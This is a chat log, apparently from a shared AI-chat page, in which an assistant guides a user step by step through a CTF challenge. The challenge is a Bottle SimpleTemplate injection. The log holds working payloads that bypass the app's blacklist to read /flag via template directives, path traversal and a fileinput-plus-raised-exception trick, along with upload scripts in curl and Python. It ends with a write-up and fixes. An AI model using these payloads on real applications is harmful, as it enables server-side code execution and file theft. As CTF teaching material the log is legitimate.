我正在解决一道ctf题目,题目题目给了网站源码.请指导完成题目拿到flag
تم الإنشاء في: ١٥ أغسطس ٢٠٢٥
تمت الإجابة باستخدام GPT-5 Thinking بواسطة Chat01
تم الإنشاء في: ١٥ أغسطس ٢٠٢٥
تمت الإجابة باستخدام GPT-5 Thinking بواسطة Chat01
好耶,这题是个典型的 Bottle 模板注入(SSTI)+ 黑名单绕过。源码里最大的问题是:把你上传的文本文件内容直接当作 Bottle 的模板去渲染了,而且黑名单只挡了 {{ }} 这类语法里会用到的大括号、下划线、open/os/eval/exec 等关键单词,但没有拦住以 % 开头的模板指令(如 include)。因此我们可以不写 {{...}},改用 % include(...),让模板引擎去把系统里的文件读出来。flag 就在 /flag。
read.tpl),内容就是:% include('/flag')
bashecho "% include('/flag')" > read.tpl zip pwn.zip read.tpl
/upload,上传 pwn.zip。服务端会:/view/<md5>/<first_file>。/view/<md5>/<first_file> 链接:template(content)),% include('/flag') 会让引擎把 系统路径 /flag 的内容读进响应里返回,/view/<md5>/<filename>:读取我们上传的文件内容到 content,只按黑名单做了字符串级别检查,然后直接 return template(content) 渲染;而 % include('/flag') 不触犯黑名单(没用 {}、_、open、os 等),因此能成功执行。/upload:虽有防符号链接和路径穿越,但那只是解压安全;真正的洞在后续把文件内容当模板渲染。{{...}}、open、os、下划线 _ 等),就能过检查。% include('/flag') 足够简洁安全。% include('../../flag')),不过题里已经暗示 “flag 在 /flag”,绝对路径通常能读到。照着上面四步做,打开 /view/... 的页面,就能把 flag 打出来。需要我帮你把 zip 的内容或 curl 命令再精确到某个部署地址,也可以直接给我目标 URL~
/upload页面没有上传接口,似乎要自己构造,该怎么做
对,这个题虽然 /upload 页面只是个静态页,但后端确实有 POST /upload 接口,接收一个表单字段名为 file 的 ZIP 文件;上传成功后会回显一个可访问的 /view/<md5>/<first_file> 链接。我们只要自己构造一个 multipart/form-data 的 POST 就行。关键点都能从源码对应到:@post('/upload') 读取 request.files.get('file')、要求文件名以 .zip 结尾、大小 ≤ 1MB;随后解压并回显访问路径;/view/... 会把你上传文件的内容当模板渲染(存在 SSTI)。
下面直接给“可复现一把梭”的步骤。
bashecho "% include('/flag')" > read.tpl
bashzip pwn.zip read.tpl
file,文件名必须以 .zip 结尾):bash# 把 http://TARGET:5000 换成题目实际地址 curl -X POST "http://TARGET:5000/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
text文件列表: read.tpl 访问: /view/<md5>/read.tpl
直接 GET 这个链接即可把 /flag 的内容包含进响应里(也就是 flag):
bashcurl "http://TARGET:5000/view/<md5>/read.tpl"
pythonimport re, requests BASE = "http://TARGET:5000" # 1) 先准备好 pwn.zip(同上命令行 zip) with open("pwn.zip","rb") as f: r = requests.post(f"{BASE}/upload", files={"file": ("pwn.zip", f, "application/zip")}) print(r.text) m = re.search(r"/view/[0-9a-f]{32}/[^\s]+", r.text) assert m, "没匹配到 view 链接" view_url = BASE + m.group(0) print("VIEW:", view_url) # 2) 访问 view 拿 flag print(requests.get(view_url).text)
file,否则 request.files.get('file') 拿不到会报 “Invalid file”。.zip 结尾(后端用 zip_file.filename.endswith('.zip') 判断)。read() 计算大小,再 seek(0))。/view/<md5>/<first_file> 里回显给你;所以 zip 里尽量只放 read.tpl 一个文件,避免不可控顺序。/view/... 会先读你文件内容,做一个很粗糙的黑名单检查(拦 { } _ open os 等),然后直接 template(content) 渲染;% include('/flag') 不含大括号/下划线/敏感词,能绕过并把系统文件读出来。照做即可在 /view/... 页面看到 flag。需要我帮你把上述命令替换成题目实际域名/端口,或者给一个 Burp/Postman 的表单配置截图要点,也可以直接说~
上传成功后访问http://challenge.xinshi.fun:49847/view/b7c2c5d68e5af6b275876a2479b9d1f8/read.tpl返回的是我的文本内容不解析,如果访问的是/flag返回的是Error rendering template: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.另一种直接返回文本内容:"% include('../../../../../../..//flag')"
你现在遇到的两个现象,其实都能从源码解释清楚并且很好修:
/view/.../read.tpl 只回显文本、不解析”% include('/flag') 报:Use of absolute path for template name(Bottle 0.12 不允许用绝对路径做 include)关键代码:/view 里把你上传文件的内容直接丢进 template(content) 去渲染;在渲染前做了一个很粗糙的黑名单检查(包括 {、}、:、_、open、os 等),命中就直接拦。
Bottle SimpleTemplate 里,只有以行首 % 开头的行才会被当作模板指令。常见踩坑:
" % include('...') ")→ 这当然就只是普通文本了% 不是第一个字节 → 也会被当文本正确写法(整份文件只这一行、行首无空格、无引号、UTF-8 无 BOM):
% include('../../../../../../flag')
提示:行首就是
%,没有任何前导空格或引号;整份文件不要再放别的字符或冒号(黑名单里有:)。
Bottle 0.12 不允许 include('/flag') 这种绝对路径,报的就是你看到的那个 Warning。解决办法:
用相对路径 + 多层 .. 回到根目录,然后再去找 flag。POSIX 下超出根目录的 .. 会被“截断”在根上,所以“多给几层 .. 没关系”。
实战 payload(任选其一,前面说的格式要求依旧):
% include('../../../../../../flag')
或者更保险(给足层级):
% include('../../../../../../../../../../flag')
注意:不要再写成
" % include('../../../../../../..//flag') "
这种带引号或行首有空格的样子;那会被原样回显成文本。
bash# 1) 生成 payload(务必“行首 %、无引号、无前导空格、UTF-8 无 BOM”) printf "%% include('../../../../../../../../../../flag')\n" > read.tpl # 2) 打成 zip(尽量 zip 里只放这一个文件,避免“first_file”不可控) zip pwn.zip read.tpl # 3) 构造上传(字段名必须叫 file,文件名后缀必须 .zip) curl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip" # 响应里会给出类似:/view/<md5>/read.tpl # 4) 访问那个 /view/<md5>/read.tpl curl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl" # 页面里就会直接把 /flag 的内容包含出来(即 flag)
template(content) 渲染;只要没触发黑名单(不出现 { } : _ open os 等),模板指令就会执行。include('/flag') 因为是绝对路径被 Bottle 0.12 拦了;但用相对路径 ../../.../flag 就会按模板查找路径去拼接相对路径,最终能读到根目录下的 /flag。"% include('../../.../flag')"”就是因为整行被放进了引号里;模板根本没把它当指令。%(没有空格、没有 BOM):(黑名单会拦)include 的引号是半角 ' 或 " 都行,但不要把整行再多套一层引号../(10 层以上都行),以防当前工作目录层级与你预想不同read.tpl,避免服务端选择了别的 first_file照着上面改,重新打包上传,再点 /view/<md5>/read.tpl,flag 就能出来。需要我帮你把你现在的 read.tpl 看一眼(确认是否有 BOM 或缩进),把内容贴过来就行。
你说得对:直接 % include('/flag') 会被 Bottle 拒绝绝对路径,而相对路径 ../ 又经常被当成纯文本。重新把源码啃了一遍,可以稳定拿到 flag,用的不是 include,而是用标准库读文件 + 主动抛异常把 flag“带出来”。原因是这段代码会把你上传的文本直接作为 Bottle SimpleTemplate 模板执行,若报错就把异常信息原样回显:return f"Error rendering template: {str(e)}"(也就是你能在页面上看到异常消息)。
另外它的黑名单非常“粗暴”,只要你的模板文本里出现这些子串就直接拦:{ } os eval exec sock < > bul class ? : bash _ globals get open。所以不能出现花括号、下划线、open/os/get/exec/eval、冒号等(这也是你很多常规 SSTI 写法被吃掉/不解析的根本原因)。
好消息是:我们既不需要花括号 {{ }},也不需要下划线或冒号,就能把 /flag 读出来。
做一个只含下面三行的文本文件(每一行行首都是 %,前面不能有空格;整份文件不要出现空格以外的多余字符):
text% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)
fileinput 是 Python 自带库,不含黑名单关键字;fileinput.input('/flag') 在库内部会打开文件(不要求你在模板里写 open),join 拼成字符串;raise Exception(m) 没有下划线和冒号;后端会捕获异常并把消息 m(也就是 flag)回显在页面上。这正是 /view 路由的行为。关键点:不能有 BOM、不能有前导空格、不能加引号把整行包住。你之前出现
" % include('...') "被当普通文本,正是因为行首或引号问题。
bashprintf "%% import fileinput\n%% m = ''.join(fileinput.input('/flag'))\n%% raise Exception(m)\n" > read.tpl zip pwn.zip read.tpl
file,文件名必须以 .zip 结尾):bashcurl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
/view/<md5>/read.tpl,访问它即可在“Error rendering template: …”后面看到 flag:bashcurl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl"
/view/<md5>/<filename>:读取你上传的文件内容为 content,如果没命中黑名单,就直接 template(content) 执行;一旦抛异常,就把异常字符串原样返回给你(这正是我们要利用的“带外回显”)。fileinput.input('/flag') 能在“你的模板文本不出现 open 的情况下”由库内部把文件读出来。include('/flag') 在 Bottle 0.12 会触发“绝对路径被弃用”的异常,正好也被这段 except 捕获并显示出来,你之前看到的 Warning 就来自这里。%(没有 BOM、没有任何前导空格){ } _ : open os get)read.tpl 一个文件,避免服务端选择了别的 first_file把题目给的源码保存为 app.py,装个 bottle 跑起来:
bashpython3 -m pip install bottle python3 app.py # 监听 0.0.0.0:5000
用上面的 pwn.zip 直接 POST 到 http://127.0.0.1:5000/upload;随后 GET /view/<md5>/read.tpl,你会在页面上看到“Error rendering template: <flag内容>”。上述行为完全来自源码中的 /upload 与 /view 两个路由实现。
关于“用工具跑 SSTI”:这里的注入点是你上传的文件本身,不是 URL/表单参数,通用自动化工具(如模糊器/tplmap)不太适合;而且这题黑名单把
{、_、:都禁了,常见 payload 很多都直接失效。按上面的三行 payload,命中率最高、最省事。
最新payload成功返回flag:Error rendering template: LILCTF{6ot7le_HaS_BE3N_R3cycLEd}请为我讲解漏洞原理,编写wp,题目考察的是什么模板注入,跟bottle有关吗,我不太了解bottle是什么,这道题跟ctf常考的python的django还有flask相关的模板注入有什么不同吗
太棒了,恭喜你拿到 flag!下面把这题的原理、利用过程(wp)、以及它和 Flask/Django 模板注入的异同,给你理一遍。
服务端把你上传的文本文件内容当成 Bottle 的 SimpleTemplate 模板直接执行了:
pythonwith open(file_path, 'r', encoding='utf-8') as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try: return template(content) except Exception as e: return f"Error rendering template: {str(e)}"
也就是说,只要你的文本没有命中黑名单,就会被 template(content) 当模板执行;一旦执行报错,异常信息会被原样回显给你,这就给了我们“带外回显”的通道。
题目用了一个非常脆弱的黑名单判定是否拒绝渲染,只是简单检查是否包含如下子串:{ } os eval exec sock < > bul class ? : bash _ globals get open。于是 {{...}} 这类表达式、open/os 等常规手法会被挡住,但依旧挡不住很多 Bottle/STPL 的玩法。
另外,上传接口会把 zip 解压到一个基于 md5 的目录,然后回显“第一个文件”的访问路径 /view/<md5>/<first_file>(这就是你后面访问的 URL 来源):
由于黑名单把 {、_、open、os、: 等都禁了,并且 include('/flag') 这种绝对路径 include在 Bottle 里会报“弃用/不允许”的异常(你也确实看到了 Warning),我们换个路子:
fileinput 读取 /flag(绕过“模板里出现 open/os”这一层字符串黑名单);raise Exception(flag内容),利用后端的 except 分支把异常信息回显给我们。最终 payload(每一行行首是 %,且不能有前导空格或 BOM):
text% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)
之所以能成功,是因为后端一旦捕获异常,就把 str(e)(也就是我们塞进去的 flag 文本)直接拼到 "Error rendering template: ..." 返回给你。你拿到的响应正是这一机制在工作。
小对比:你起初尝试的
% include('/flag')之所以失败,是因为 Bottle 0.12 不允许绝对路径 include;而相对路径../../.../flag又经常被你那份文本“变成普通文本”(行首缩进/被引号包裹、或碰到黑名单字符),所以不稳定。我们的做法完全绕开了 include 与黑名单的多个“地雷”。
环境入口
POST /upload 接收 file 字段的 zip,解压后回显 /view/<md5>/<first_file>;GET /view/<md5>/<filename> 会把文件内容当模板渲染。黑名单
{}、_、:、open、os、exec、eval 等就拒绝渲染。突破口
%**写任意 Python 语句;fileinput.input('/flag') 在库内部打开文件,不要求我们在模板文本里出现 open/os 等敏感词,从而绕过黑名单。回显通道
try: template(content) except Exception as e: return "Error rendering template: " + str(e)——我们用 raise Exception(flag) 把 flag 当异常消息抛出并被回显。最终步骤
read.tpl(以上 3 行,确保行首就是 %、UTF-8 无 BOM、无多余字符);pwn.zip,上传到 /upload;/view/<md5>/read.tpl,响应中 Error rendering template: ... 即为 flag。% 就执行语句,{{...}} 求值表达式,模板本身会被编译成 Python 并 exec。因此,一旦把用户输入作为模板渲染,基本就相当于给了“Python 代码执行的舞台”,黑名单不可能完全兜住。Flask(Jinja2)
{{ ... }} 与 {% ... %};常见打法是从模板变量出发,链式拿到 config、__class__、mro、subclasses__() 再到文件/命令执行。{、_ 都黑了,Jinja 的“魔术链”基本废掉。% 就能跑 Python,威力更直接也更原始。Django(Django Template Language)
Bottle(STPL)的特色
% = Python 代码 是最大的不同点;include() 依赖“模板查找路径”,还会对绝对路径做限制;template() 作为模板本体,那基本就等价于“给用户一块能写 Python 的执行区”。这题就踩在了这里。template(content));如果只是想显示文本,请做转义输出,比如把它当普通字符串返回或写到 <pre>。except 分支就是关键利用点。template(content));异常被原样回显。% 写 Python;用 fileinput 读 /flag;raise Exception(flag) 借异常回显拿到 flag。